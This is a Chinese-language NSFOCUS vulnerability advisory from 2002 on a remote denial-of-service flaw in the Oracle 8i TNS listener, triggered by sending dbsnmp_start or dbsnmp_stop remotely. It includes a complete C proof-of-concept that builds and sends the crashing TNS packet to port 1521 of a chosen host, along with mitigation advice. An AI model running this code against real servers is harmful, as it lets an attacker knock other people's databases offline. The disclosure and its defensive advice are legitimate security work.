首页 -> 安全研究

安全研究

安全漏洞
Oracle 8i dbsnmp命令远程拒绝服务漏洞

发布日期:2002-01-17
更新日期:2002-01-21

受影响系统:
Oracle Oracle8i 8.1.7.1
Oracle Oracle8i 8.1.7
Oracle Oracle8i 8.1.6
Oracle Oracle8i 8.1.5
Oracle Oracle8i 8.0.6
Oracle Oracle8i 8.0.5
Oracle Oracle8i 8.0.4
Oracle Oracle8i 8.0.2
Oracle Oracle8i 8.0.1
Oracle Oracle9i
不受影响系统:
Oracle Oracle9i 9.0.1
Oracle Oracle9i 9.0
描述:
BUGTRAQ  ID: 3903

Oracle 8i是一个企业级的数据库管理系统,有Unix、Linux和Windows下等多种平台的版本。

Oracle 8i存在一个安全漏洞,可以使攻击者对服务器程序造成拒绝服务攻击。

如果LSNRCTL命令:dbsnmp_start和dbsnmp_stop(Oracle文档上说这些命令只应该在本地使用)中的任意一个命令被发送到远程的TNS监听服务,服务器程序就会发生内存错误,攻击者可能利用这个漏洞使服务器进程崩溃。结合其他漏洞,甚至可能执行任意指令。

<*来源:benjurry (benjurry@263.net
  
  链接:http://www.benjurry.org/en/Vulnerability/bsa200202.htm
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

benjurry(benjurry@263.net) 提供了如下测试程序:

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#pragma comment (lib,"Ws2_32")
#define PORT 1521

#define buffsize2 buffsize+180
int main(int argc, char *argv[])
{


        char cmd1[]="(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=dbsnmp_start)";
        char cmd2[]="(VERSION=1)))";
        char head[]="\x00\x59\x00\x00\x01\x00\x00\x00\x01\x36"
            "\x01\x2c\x00\x00\x08\x00\x7f\xff\x7f\x08\x00\x00\x00\x01"
            "\x00\x1f\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x34\xe6\x00\x00\x00\x01\x00\x00"
            "\x00\x00\x00\x00\x00\x00";

        char buffer2[200];
        int ret;
    int packetlength;
    int cmdlength;
    int tt;

    WSADATA WSAData;
    struct hostent          *ht;
    struct sockaddr_in      server;

    printf("Oracle dbsnmp command Remote Vulnerability discoveried by Benjurry\n");
    printf("Code by benjurry,benjurry@263.net\n");
    printf("www.xfocus.org  www.benjurry.org\n");
    if(argc<2)
    {
        printf("useage:%s target\n",argv[0]);
exit(1);
    }
     tt=sizeof(head);

    packetlength=58+sizeof(cmd1)+sizeof(cmd2)-2;


    cmdlength=sizeof(cmd1)+sizeof(cmd2)-2;

    memcpy(buffer2,head,sizeof(head)-1);
    memcpy(buffer2+sizeof(head)-1,cmd1,sizeof(cmd1)-1);
    memcpy(buffer2+sizeof(head)-1+sizeof(cmd1)-1,cmd2,sizeof(cmd2));

    
  
    buffer2[0]=packetlength>> 8;
    buffer2[1]=packetlength & 0xff;
    buffer2[24]=cmdlength>>8;
    buffer2[25]=cmdlength& 0xff;


    


if((tt=WSAStartup(MAKEWORD(1,1), &WSAData)) != 0)
        {
                printf("WSAStartup failed.\n");
                tt=GetLastError();
                WSACleanup();
                exit(1);
        }
if((ht = gethostbyname(argv[1]))==0)
{
                printf("Unable to resolve host %s\n",argv[1]);
                exit(1);
        }
server.sin_port = htons(PORT);
server.sin_family=AF_INET;
server.sin_addr=*((struct in_addr *)ht->h_addr);
   if((ret = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
                printf("Unable to set up socket\n");
                exit(1);
        }  

if((connect(ret, (struct sockaddr *) &server, sizeof(server))) == -1)
        {
                printf("Unable to connect\n");
                exit(1);
        }
        else
                printf("Connected.\n");
        //if(send(ret, tnsping, 100, 0) == -1)

        if(send(ret, buffer2, packetlength, 0) == -1)
        {
                printf("Unable to send\n");
                exit(1);
        }
        else
        {
                printf("code sented...\n");
                
        }
Sleep(1000);
closesocket(ret);
return 0;


}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 设置对TNS监听服务端口的访问控制,只允许可信的主机连接。

厂商补丁:

Oracle
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.oracle.com

浏览次数:3210
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障